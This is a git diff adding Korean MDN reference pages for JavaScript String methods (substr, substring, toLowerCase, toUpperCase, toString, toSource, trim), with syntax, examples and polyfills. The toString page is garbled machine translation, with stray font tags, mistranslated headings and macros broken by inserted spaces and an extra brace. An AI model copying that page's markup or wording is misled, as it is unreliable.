+<p>ES2015 명세를 모두 만족하지만, 더 무거운 폴리필은 <a href="https://github.com/mathiasbynens/String.prototype.startsWith">Mathias Bynens의 GitHub</a> 에서 확인할 수 있습니다.</p>
+
+<h2 id="명세서">명세서</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.startswith', 'String.prototype.startsWith')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.startswith', 'String.prototype.startsWith')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.String.startsWith")}}</div>
+
+<h2 id="관련_문서">관련 문서</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.endsWith()")}}</li>
+ <li>{{jsxref("String.prototype.includes()")}}</li>
+ <li>{{jsxref("String.prototype.indexOf()")}}</li>
+ <li>{{jsxref("String.prototype.lastIndexOf()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/substr/index.html b/files/ko/web/javascript/reference/global_objects/string/substr/index.html
new file mode 100644
index 0000000000..39fe5e126b
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/substr/index.html
@@ -0,0 +1,131 @@
+---
+title: String.prototype.substr()
+slug: Web/JavaScript/Reference/Global_Objects/String/substr
+tags:
+  - Deprecated
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/substr
+---
+<div>{{JSRef}}</div>
+
+<div> </div>
+
+<div class="warning">
+<p>경고: 엄밀히 말해서 <code>String.prototype.substr()</code> 메서드가 더 이상 사용되지 않는, 즉 "웹 표준에서 제거된" 건 아닙니다. 그러나 <code>substr()</code>이 포함된 ECMA-262 표준의 <a href="https://www.ecma-international.org/ecma-262/9.0/index.html#sec-additional-ecmascript-features-for-web-browsers">부록 B</a>는 다음과 같이 명시하고 있습니다.</p>
+
+<blockquote>… 본 부록이 포함한 모든 언어 기능과 행동은 하나 이상의 바람직하지 않은 특징을 갖고 있으며 사용처가 없어질 경우 명세에서 제거될 것입니다. …<br>
+… 프로그래머는 새로운 ECMAScript 코드를 작성할 때 본 부록이 포함한 기능을 사용하거나 존재함을 가정해선 안됩니다. …</blockquote>
+</div>
+
+<p><strong><code>substr()</code></strong> 메서드는 문자열에서 특정 위치에서 시작하여 특정 문자 수 만큼의 문자들을 반환합니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/string-substr.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>str</var>.substr(<var>start</var>[, <var>length</var>])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>start</code></dt>
+ <dd>추출하고자 하는 문자들의 시작위치입니다. 만약 음수가 주어진다면, <code>문자열총길이 + start</code>의 값으로 취급합니다. 예를 들면, <code>start</code>에 -3을 설정하면, 자동적으로 <code>문자열총길이 - 3</code>으로 설정하게 됩니다. </dd>
+ <dt><code>length</code></dt>
+ <dd>옵션값. 추출할 문자들의 총 숫자.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><code>start</code>는 문자 인덱스입니다. 문자열에서 첫 번째 문자의 인덱스는 0이며, 마지막 문자의 인덱스는 문자열 전체 길이에서 1을 뺀 값입니다. <code>substr()</code>는<code> start</code>에서 문자들을 추출을 시작하여 <code>length</code>만큼 문자들을 수집합니다.</p>
+
+<p>만약 <code>start</code> 값이 양수이고 문자열 전체 길이보다 크거가 같을 경우, <code>substr()</code>은 빈 문자열을 반환합니다. </p>
+
+<p>만약 <code>start</code>가 음수이면, <code>substr()</code>은 문자열 끝에서 <code>start</code> 숫자만큼 뺀 곳에서 시작하게 됩니다. 만약 <code>start</code>가 음수이고 절대값이 문자열 전체보다 크다면, <code>substr()</code>은 문자열의 0 인덱스부터 시작하게 됩니다. (주의: <code>start</code>의 음수값은 Microsoft JScript에서는 위의 설명과 같이 동작하지 않습니다.)</p>
+
+<p>만약 <code>length</code>가 0 혹은 음수이면, <code>substr()</code>은 빈 문자열을 반환합니다. 만약 <code>length</code>가 생략되면, <code>substr()</code>은 문자열의 끝까지 추출하여 반환합니다. </p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="substr()_사용하기"><code>substr()</code> 사용하기</h3>
+
+<pre class="brush: js">var str = 'abcdefghij';
+
+console.log('(1, 2): '   + str.substr(1, 2));   // '(1, 2): bc'
+console.log('(-3, 2): '  + str.substr(-3, 2));  // '(-3, 2): hi'
+console.log('(-3): '     + str.substr(-3));     // '(-3): hij'
+console.log('(1): '      + str.substr(1));      // '(1): bcdefghij'
+console.log('(-20, 2): ' + str.substr(-20, 2)); // '(-20, 2): ab'
+console.log('(20, 2): '  + str.substr(20, 2));  // '(20, 2): '
+</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p>Microsoft의 JScript는 시작 인덱스에서 음수값을 지원하지 않습니다. 만약 여러분이 이렇게 동작하길 원한다면, 아래 코드를 사용하여 해결할 수 있습니다: </p>
+
+<pre class="brush: js">// only run when the substr() function is broken
+if ('ab'.substr(-1) != 'b') {
+  /**
+   *  Get the substring of a string
+   *  @param  {integer}  start   where to start the substring
+   *  @param  {integer}  length  how many characters to return
+   *  @return {string}
+   */
+  String.prototype.substr = function(substr) {
+    return function(start, length) {
+      // call the original method
+      return substr.call(this,
+      	// did we get a negative start, calculate how much it is from the beginning of the string
+        // adjust the start parameter for negative value
+        start &lt; 0 ? this.length + start : start,
+        length)
+    }
+  }(String.prototype.substr);
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Defined in the (informative) Compatibility Annex B. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-B.2.3', 'String.prototype.substr')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Defined in the (informative) Compatibility Annex B</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.substr', 'String.prototype.substr')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Defined in the (normative) Annex B for Additional ECMAScript Features for Web Browsers</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.substr', 'String.prototype.substr')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Defined in the (normative) Annex B for Additional ECMAScript Features for Web Browsers</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.String.substr")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.slice()")}}</li>
+ <li>{{jsxref("String.prototype.substring()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/substring/index.html b/files/ko/web/javascript/reference/global_objects/string/substring/index.html
new file mode 100644
index 0000000000..91d13974c9
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/substring/index.html
@@ -0,0 +1,190 @@
+---
+title: String.prototype.substring()
+slug: Web/JavaScript/Reference/Global_Objects/String/substring
+translation_of: Web/JavaScript/Reference/Global_Objects/String/substring
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>substring()</code></strong><font><font>메소드는 string 객체의 시작 인덱스로 부터 종료 인덱스 전 까지 문자열의 부분 문자열을 반환합니다. </font></font></p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-substring.html")}}</div>
+
+
+
+<h2 id="사용방법">사용방법 </h2>
+
+<pre class="syntaxbox"><code><var>str</var>.substring(<var>indexStart</var>[, <var>indexEnd</var>])</code></pre>
+
+<h3 id="인자값">인자값</h3>
+
+<dl>
+ <dt><code><var>indexStart</var></code></dt>
+ <dd>반환문자열의 시작 인덱스 </dd>
+ <dt> </dt>
+ <dt><code><var>indexEnd</var></code></dt>
+ <dd>옵션.  반환문자열의 마지막 인덱스 (포함하지 않음.)</dd>
+</dl>
+
+<h3 id="반환값">반환값</h3>
+
+<p>기존문자열의  부분 문자열을 반환합니다. </p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>substring()</code> 메서드는 <code><var>indexStart</var></code> 부터 문자를 추출하지만 <code><var>indexEnd</var></code> 가 포함되지 않아도 괜찮습니다. 특징은 아래와 같습니다.</p>
+
+<ul>
+ <li>만약 <code><var>indexEnd</var></code> 가 생략된 경우, <code>substring()</code> 문자열의 끝까지 모든 문자를 추출합니다.</li>
+ <li>만약 <code><var>indexStart</var></code> 가 <code><var>indexEnd</var></code>와 같을 경우, <code>substring()</code> 빈 문자열을 반환합니다.</li>
+ <li>만약 <code><var>indexStart</var></code> 가 <code><var>indexEnd</var></code>보다 큰 경우, <code>substring()</code> 메서드는 마치 두 개의 인자를 바꾼 듯 작동하게 됩니다. 아래 예제를 보세요.</li>
+</ul>
+
+<p>0보다 작은 인자 값을 가지는 경우에는 0으로, <code>stringName.length</code> 보다 큰 인자 값을 가지는 경우, <code>stringName.length</code> 로 처리됩니다. {{jsxref("NaN")}} 값은 0으로 처리됩니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_substring()">Using <code>substring()</code></h3>
+
+<p>The following example uses <code>substring()</code> to display characters from the string <code>'Mozilla'</code>:</p>
+
+<pre class="brush: js">var anyString = 'Mozilla';
+
+// Displays 'M'
+console.log(anyString.substring(0, 1));
+console.log(anyString.substring(1, 0));
+
+// Displays 'Mozill'
+console.log(anyString.substring(0, 6));
+
+// Displays 'lla'
+console.log(anyString.substring(4));
+console.log(anyString.substring(4, 7));
+console.log(anyString.substring(7, 4));
+
+// Displays 'Mozilla'
+console.log(anyString.substring(0, 7));
+console.log(anyString.substring(0, 10));
+</pre>
+
+<h3 id="Using_substring()_with_length_property">Using <code>substring()</code> with <code>length</code> property</h3>
+
+<p>The following example uses the <code>substring()</code> method and {{jsxref("String.length", "length")}} property to extract the last characters of a particular string. This method may be easier to remember, given that you don't need to know the starting and ending indices as you would in the above examples.</p>
+
+<pre class="brush: js">// Displays 'illa' the last 4 characters
+var anyString = 'Mozilla';
+var anyString4 = anyString.substring(anyString.length - 4);
+console.log(anyString4);
+
+// Displays 'zilla' the last 5 characters
+var anyString = 'Mozilla';
+var anyString5 = anyString.substring(anyString.length - 5);
+console.log(anyString5);
+</pre>
+
+<h3 id="The_difference_between_substring()_and_substr()">The difference between <code>substring()</code> and <code>substr()</code></h3>
+
+<p>There's a subtle difference between the <code>substring()</code> and {{jsxref("String.substr", "substr()")}} methods, so you should be careful not to get them confused.</p>
+
+<p>The arguments of <code>substring()</code> represent the starting and ending indexes, while the arguments of <code>substr()</code> represent the starting index and the number of characters to include in the returned string.</p>
+
+<pre class="brush: js">var text = 'Mozilla';
+console.log(text.substring(2,5)); // =&gt; "zil"
+console.log(text.substr(2,3));    // =&gt; "zil"</pre>
+
+<h3 id="Differences_between_substring()_and_slice()">Differences between <code>substring()</code> and <code>slice()</code></h3>
+
+<p>The <code>substring()</code> and {{jsxref("String.slice", "slice()")}} methods are almost identical, but there are a couple of subtle differences between the two, especially in the way negative arguments are dealt with.</p>
+
+<p>The <code>substring()</code> method swaps its two arguments if <code><var>indexStart</var></code> is greater than <code><var>indexEnd</var></code>, meaning that a string is still returned. The {{jsxref("String.slice", "slice()")}} method returns an empty string if this is the case.</p>
+
+<pre class="brush: js">var text = 'Mozilla';
+console.log(text.substring(5, 2)); // =&gt; "zil"
+console.log(text.slice(5, 2));     // =&gt; ""
+</pre>
+
+<p>If either or both of the arguments are negative or <code>NaN</code>, the <code>substring()</code> method treats them as if they were <code>0</code>.</p>
+
+<pre class="brush: js">console.log(text.substring(-5, 2)); // =&gt; "Mo"
+console.log(text.substring(-5, -2)); // =&gt; ""
+</pre>
+
+<p><code>slice()</code> also treats <code>NaN</code> arguments as <code>0</code>, but when it is given negative values it counts backwards from the end of the string to find the indexes.</p>
+
+<pre class="brush: js">console.log(text.slice(-5, 2)); // =&gt; ""
+console.log(text.slice(-5, -2)); // =&gt; "zil"
+</pre>
+
+<p>See the {{jsxref("String.slice", "slice()")}} page for more examples with negative numbers.</p>
+
+<h3 id="Replacing_a_substring_within_a_string">Replacing a substring within a string</h3>
+
+<p>The following example replaces a substring within a string. It will replace both individual characters and substrings. The function call at the end of the example changes the string <code>Brave New World</code> to <code>Brave New Web</code>.</p>
+
+<pre class="brush: js">// Replaces oldS with newS in the string fullS
+function replaceString(oldS, newS, fullS) {
+  for (var i = 0; i &lt; fullS.length; ++i) {
+    if (fullS.substring(i, i + oldS.length) == oldS) {
+      fullS = fullS.substring(0, i) + newS + fullS.substring(i + oldS.length, fullS.length);
+    }
+  }
+  return fullS;
+}
+
+replaceString('World', 'Web', 'Brave New World');
+</pre>
+
+<p>Note that this can result in an infinite loop if <code>oldS</code> is itself a substring of <code>newS</code> — for example, if you attempted to replace 'World' with 'OtherWorld' here. A better method for replacing strings is as follows:</p>
+
+<pre class="brush: js">function replaceString(oldS, newS, fullS) {
+  return fullS.split(oldS).join(newS);
+}
+</pre>
+
+<p>The code above serves as an example for substring operations. If you need to replace substrings, most of the time you will want to use {{jsxref("String.prototype.replace()")}}.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.substring', 'String.prototype.substring')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.substring', 'String.prototype.substring')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.15', 'String.prototype.substring')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Implemented in JavaScript 1.0.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.String.substring")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.substr()")}} {{deprecated_inline}}</li>
+ <li>{{jsxref("String.prototype.slice()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/tolowercase/index.html b/files/ko/web/javascript/reference/global_objects/string/tolowercase/index.html
new file mode 100644
index 0000000000..d91e48729f
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/tolowercase/index.html
@@ -0,0 +1,83 @@
+---
+title: String.prototype.toLowerCase()
+slug: Web/JavaScript/Reference/Global_Objects/String/toLowerCase
+tags:
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/toLowerCase
+---
+<div>{{JSRef}}</div>
+
+<div><strong><code>toLowerCase()</code></strong> 메서드는 문자열을 소문자로 변환해 반환합니다.</div>
+
+<div> </div>
+
+<div>{{EmbedInteractiveExample("pages/js/string-tolowercase.html")}}</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.toLowerCase()</code></pre>
+
+<h3 id="반환값">반환값</h3>
+
+<p>호출 문자열을 소문자로 변환한 새로운 문자열</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>toLowerCase()</code> 메서드는 호출 문자열을 소문자로 변환해 반환합니다.  <code>toLowerCase()</code> 는 원래의 <code>str</code>에 영향을 주지 않습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="toLowerCase()"> <code>toLowerCase()</code></h3>
+
+<pre class="brush: js">console.log('ALPHABET'.toLowerCase()); // 'alphabet'
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">표준</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.16', 'String.prototype.toLowerCase')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.tolowercase', 'String.prototype.toLowerCase')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.tolowercase', 'String.prototype.toLowerCase')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.String.toLowerCase")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.toLocaleLowerCase()")}}</li>
+ <li>{{jsxref("String.prototype.toLocaleUpperCase()")}}</li>
+ <li>{{jsxref("String.prototype.toUpperCase()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/tosource/index.html b/files/ko/web/javascript/reference/global_objects/string/tosource/index.html
new file mode 100644
index 0000000000..d08a2a816a
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/tosource/index.html
@@ -0,0 +1,49 @@
+---
+title: String.prototype.toSource()
+slug: Web/JavaScript/Reference/Global_Objects/String/toSource
+translation_of: Web/JavaScript/Reference/Global_Objects/String/toSource
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p>The <strong><code>toSource()</code></strong> method returns a string representing the source code of the object.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><code>String.toSource()
+<var>str</var>.toSource()
+</code></pre>
+
+<h3 id="리턴_값">리턴 값</h3>
+
+<p>호출한 객체의 소스코드가 <code>string</code>으로 보여집니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>toSource()</code> 메소드는 다음 값을 리턴:</p>
+
+<p>For the built-in {{jsxref("String")}} object, <code>toSource()</code> returns the following string indicating that the source code is not available:</p>
+
+<pre class="brush: js">function String() {
+    [native code]
+}
+</pre>
+
+<p>For instances of {{jsxref("String")}} or string literals, <code>toSource()</code> returns a string representing the source code.</p>
+
+<p>This method is usually called internally by JavaScript and not explicitly in code.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<p>Not part of any standard. Implemented in JavaScript 1.3.</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.String.toSource")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toSource()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/tostring/index.html b/files/ko/web/javascript/reference/global_objects/string/tostring/index.html
new file mode 100644
index 0000000000..999d5c0c74
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/tostring/index.html
@@ -0,0 +1,59 @@
+---
+title: String.prototype.toString()
+slug: Web/JavaScript/Reference/Global_Objects/String/toString
+translation_of: Web/JavaScript/Reference/Global_Objects/String/toString
+---
+<div><font><font>{{JSRef}}</font></font></div>
+
+<p><font><font>이 </font></font><strong><code>toString()</code></strong><font><font>메소드는 지정된 객체를 나타내는 문자열을 반환합니다.</font></font></p>
+
+<div><font><font>{{EmbedInteractiveExample ( "pages / js / string-tostring.html")}}</font></font></div>
+
+<h2 id="통사론"><font><font>통사론</font></font></h2>
+
+<pre class="syntaxbox"><code><var>str</var>.toString()</code></pre>
+
+<h3 id="반환_값"><font><font>반환 값</font></font></h3>
+
+<p><font><font>호출 객체를 나타내는 문자열</font></font></p>
+
+<h2 id="기술"><font><font>기술</font></font></h2>
+
+<p><font><font>{{jsxref ( "String")}} 오브젝트 </font></font><code>toString()</code><font><font>는 {{jsxref ( "Object")}} 오브젝트 </font><font>의 </font><font>메소드를 </font><font>대체 </font><font>합니다. </font><font>{{jsxref ( "Object.prototype.toString ()")}}을 상속하지 않습니다. </font><font>{{jsxref ( "String")}} 오브젝트의 경우 </font></font><code>toString()</code><font><font>메소드는 </font><font>오브젝트 </font><font>의 문자열 표시를 리턴하며 {{jsxref ( "String.prototype.valueOf ()")}} 메소드와 동일합니다.</font></font></p>
+
+<h2 id="예"><font><font>예</font></font></h2>
+
+<h3 id="사용_toString"><font><font>사용 </font></font><code>toString()</code></h3>
+
+<p><font><font>다음 예제는 {{jsxref ( "String")}} 오브젝트의 문자열 값을 표시합니다.</font></font></p>
+
+<pre class="brush: js"><font><font>var x = new String ( 'Hello world');</font></font>
+<font><font>
+console.log (x.toString ()); </font><font>// 'Hello world'를 기록합니다.</font></font>
+</pre>
+
+<h2 id="명세서"><font><font>명세서</font></font></h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col"><font><font>사양</font></font></th>
+  </tr>
+  <tr>
+   <td><font><font>{{SpecName ( 'ESDraft', '# sec-string.prototype.tostring', 'String.prototype.toString')}}}</font></font></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성"><font><font>브라우저 호환성</font></font></h2>
+
+<p class="hidden"><font><font>이 페이지의 호환성 표는 구조화 된 데이터에서 생성됩니다. </font><font>데이터에 기여하려면 </font></font><a href="https://github.com/mdn/browser-compat-data"><font><font>https://github.com/mdn/browser-compat-data</font></font></a><font><font> 를 확인하고 </font><font>풀 요청을 보내주십시오.</font></font></p>
+
+<p><font><font>{{Compat ( "javascript.builtins.String.toString")}}</font></font></p>
+
+<h2 id="또한보십시오"><font><font>또한보십시오</font></font></h2>
+
+<ul>
+ <li><font><font>{{jsxref ( "Object.prototype.toSource ()")}}</font></font></li>
+ <li><font><font>{{jsxref ( "String.prototype.valueOf ()")}}</font></font></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/touppercase/index.html b/files/ko/web/javascript/reference/global_objects/string/touppercase/index.html
new file mode 100644
index 0000000000..f6a0c8f05c
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/touppercase/index.html
@@ -0,0 +1,105 @@
+---
+title: String.prototype.toUpperCase()
+slug: Web/JavaScript/Reference/Global_Objects/String/toUpperCase
+tags:
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/toUpperCase
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>toUpperCase()</code></strong> 메서드는 문자열을 대문자로 변환해 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-touppercase.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>str</var>.toUpperCase()</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>대문자로 변환한 새로운 문자열.</p>
+
+<h3 id="예외">예외</h3>
+
+<dl>
+ <dt>{{jsxref("TypeError")}}</dt>
+ <dd>{{jsxref("Function.prototype.call()")}} 등을 사용해 {{jsxref("null")}}이나 {{jsxref("undefined")}}에서 호출 시.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><code>toUpperCase()</code> 메서드는 문자열을 대문자로 변환한 값을 반환합니다. JavaScript의 문자열은 불변하므로 원본 문자열에는 영향을 주지 않습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="기본_사용법">기본 사용법</h3>
+
+<pre class="brush: js">console.log('alphabet'.toUpperCase()); // 'ALPHABET'</pre>
+
+<h3 id="문자열이_아닌_this의_문자열_변환">문자열이 아닌 <code>this</code>의 문자열 변환</h3>
+
+<p><code>toUpperCase()</code>의 <code>this</code>가 문자열이 아니고, <code>undefined</code>와 <code>null</code>도 아니면 자동으로 문자열로 변환합니다.</p>
+
+<pre class="brush: js">const a = String.prototype.toUpperCase.call({
+  toString: function toString() {
+    return 'abcdef';
+  }
+});
+
+const b = String.prototype.toUpperCase.call(true);
+
+// prints out 'ABCDEF TRUE'.
+console.log(a, b);
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.18', 'String.prototype.toUpperCase')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.touppercase', 'String.prototype.toUpperCase')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.touppercase', 'String.prototype.toUpperCase')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.String.toUpperCase")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.toLocaleLowerCase()")}}</li>
+ <li>{{jsxref("String.prototype.toLocaleUpperCase()")}}</li>
+ <li>{{jsxref("String.prototype.toLowerCase()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/trim/index.html b/files/ko/web/javascript/reference/global_objects/string/trim/index.html
new file mode 100644
index 0000000000..0f0b71f548
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/trim/index.html
@@ -0,0 +1,97 @@
+---
+title: String.prototype.trim()
+slug: Web/JavaScript/Reference/Global_Objects/String/Trim
+tags:
+  - ECMAScript 5
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/Trim
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>trim()</code></strong> 메서드는 문자열 양 끝의 공백을 제거합니다. 공백이란 모든 공백문자(space, tab, NBSP 등)와 모든 개행문자(LF, CR 등)를 의미합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-trim.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>str</var>.trim()</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>양 끝에서 공백을 제거한 새로운 문자열.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>trim()</code> 메서드는 양끝의 공백을 제거한 문자열을 반환합니다. <code>trim()</code>은 원본 문자열에는 영향을 주지 않습니다. </p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="trim()_사용"><code>trim()</code> 사용</h3>
+
+<p>아래의 예제는 소문자 문자열  <code>'foo'</code>를 표시합니다.</p>
+
+<pre class="brush: js">var orig = '   foo  ';
+console.log(orig.trim()); // 'foo'
+
+// 한 쪽의 공백만 제거하는 .trim() 예제
+
+var orig = 'foo    ';
+console.log(orig.trim()); // 'foo'
+</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p>다른 코드 전에 아래 코드를 실행하면 지원하지 않는 환경에서도  <code>String.trim()</code> 을 사용할 수 있습니다.</p>
+
+<pre class="brush: js">if (!String.prototype.trim) {
+  String.prototype.trim = function () {
+    return this.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g, '');
+  };
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">표준</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.20', 'String.prototype.trim')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.8.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.trim', 'String.prototype.trim')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.trim', 'String.prototype.trim')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
